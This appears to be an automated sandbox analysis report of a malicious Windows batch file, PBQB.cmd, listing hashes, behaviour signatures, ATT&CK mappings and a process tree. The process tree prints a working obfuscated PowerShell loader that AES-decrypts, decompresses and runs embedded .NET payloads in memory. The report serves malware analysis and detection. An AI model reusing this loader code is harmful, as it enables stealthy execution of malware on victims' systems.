c112a2d7b7f2d1297d817b89dcdea142b4bd439bd533db9f6aa8b36d8d943d64

Analysis

max time kernel
27s
max time network
31s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
05-05-2023 11:18

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General

Target

PBQB.cmd
Size

366KB
MD5

4b5e91dc56c53e6d9a765c8fda760786
SHA1

f2081c4500b6f324ab840bc1dd89370d355367ef
SHA256

c112a2d7b7f2d1297d817b89dcdea142b4bd439bd533db9f6aa8b36d8d943d64
SHA512

ef5f8186f33ce964875adac3e151b9a6f036a8ad9c86c6b017ed8185da967c1693e62135a2c59ae5737dd4d1b35aa63d805a7a84352797aeb8c7cbe55d39378b
SSDEEP

6144:ds0RP07shisP903rwOoQ2zUT540YjzcPuhLJpQyaTRBIT4uxWVqxcS4DHATSNfw3:ds0C7Yt67rd4rAPA4yaTcdfP4Tbqdsy

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1652	PBQB.cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1652	PBQB.cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1652	PBQB.cmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1652	PBQB.cmd.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1596 wrote to memory of 796	1596	cmd.exe	29
PID 1596 wrote to memory of 796	1596	cmd.exe	29
PID 1596 wrote to memory of 796	1596	cmd.exe	29
PID 796 wrote to memory of 1652	796	cmd.exe	31
PID 796 wrote to memory of 1652	796	cmd.exe	31
PID 796 wrote to memory of 1652	796	cmd.exe	31
PID 796 wrote to memory of 1652	796	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\PBQB.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:1596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\PBQB.cmd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:796
- - C:\Users\Admin\AppData\Local\Temp\PBQB.cmd.exe
    "C:\Users\Admin\AppData\Local\Temp\PBQB.cmd.exe" -w hidden -c $cKeS='FiGzumrGzumstGzum'.Replace('Gzum', '');$YEQK='ReGzumadLGzumineGzumsGzum'.Replace('Gzum', '');$HYrn='CGzumhaGzumngeEGzumxGzumteGzumnsGzumioGzumnGzum'.Replace('Gzum', '');$tqkz='FrGzumoGzummBGzumase6Gzum4SGzumtGzumrinGzumgGzum'.Replace('Gzum', '');$iEzw='InvGzumokeGzum'.Replace('Gzum', '');$dcHH='CGzumreGzumaGzumteGzumDGzumecGzumryGzumptGzumorGzum'.Replace('Gzum', '');$FsUE='TranGzumsfGzumormGzumFinGzumalGzumBlGzumockGzum'.Replace('Gzum', '');$vEzX='LGzumoaGzumdGzum'.Replace('Gzum', '');$duPq='MGzumainGzumMoGzumduleGzum'.Replace('Gzum', '');$Rlgx='EnGzumtrGzumyGzumPoiGzumnGzumtGzum'.Replace('Gzum', '');$zZjM='SpGzumlGzumiGzumtGzum'.Replace('Gzum', '');$NaNe='GeGzumtGzumCurGzumreGzumntGzumPrGzumocGzumessGzum'.Replace('Gzum', '');function qOKxj($LqdXv){$nYPjY=[System.Security.Cryptography.Aes]::Create();$nYPjY.Mode=[System.Security.Cryptography.CipherMode]::CBC;$nYPjY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$nYPjY.Key=[System.Convert]::$tqkz('m6r1zR1pFEMA3f9SE7PuYXUI2auUhEBpjU0yEINKcPY=');$nYPjY.IV=[System.Convert]::$tqkz('7oOIIfAuaEyrYT+vuMQ9vA==');$CvxkF=$nYPjY.$dcHH();$libhk=$CvxkF.$FsUE($LqdXv,0,$LqdXv.Length);$CvxkF.Dispose();$nYPjY.Dispose();$libhk;}function LxFui($LqdXv){$XJLWk=New-Object System.IO.MemoryStream(,$LqdXv);$IKXcR=New-Object System.IO.MemoryStream;$zCbYq=New-Object System.IO.Compression.GZipStream($XJLWk,[IO.Compression.CompressionMode]::Decompress);$zCbYq.CopyTo($IKXcR);$zCbYq.Dispose();$XJLWk.Dispose();$IKXcR.Dispose();$IKXcR.ToArray();}$mdGgV=[System.Linq.Enumerable]::$cKeS([System.IO.File]::$YEQK([System.IO.Path]::$HYrn([System.Diagnostics.Process]::$NaNe().$duPq.FileName, $null)));$EyBOW=$mdGgV.Substring(3).$zZjM(':');$XjxKT=LxFui (qOKxj ([Convert]::$tqkz($EyBOW[0])));$NUCBP=LxFui (qOKxj ([Convert]::$tqkz($EyBOW[1])));[System.Reflection.Assembly]::$vEzX([byte[]]$NUCBP).$Rlgx.$iEzw($null,$null);[System.Reflection.Assembly]::$vEzX([byte[]]$XjxKT).$Rlgx.$iEzw($null,$null);
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1652

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\PBQB.cmd.exe

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/1652-59-0x0000000002590000-0x00000000025D0000-memory.dmp

Filesize
256KB

Download
memory/1652-60-0x0000000002590000-0x00000000025D0000-memory.dmp

Filesize
256KB

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